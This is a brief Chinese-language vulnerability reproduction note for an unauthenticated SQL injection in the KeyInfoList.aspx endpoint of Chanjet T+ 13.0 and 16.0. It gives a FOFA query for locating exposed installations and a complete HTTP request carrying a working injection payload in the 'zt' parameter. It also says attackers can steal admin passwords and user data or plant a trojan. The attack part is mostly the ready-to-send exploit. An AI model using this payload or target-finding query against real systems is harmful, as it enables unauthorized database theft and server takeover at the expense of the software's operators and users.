Y2-5用友-畅捷通T+-SQL

漏洞描述：

由于畅捷通T+的KeyInfoList.aspx接口处未对用户的输入进行过滤和校验，未经身份验证的攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

影响版本：

畅捷通T+ 13.0
畅捷通T+ 16.0

网站图片：

网络测绘：

fofa语法：

FOFA：app="畅捷通-TPlus"

漏洞复现：

payload：

```
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
```

效果图: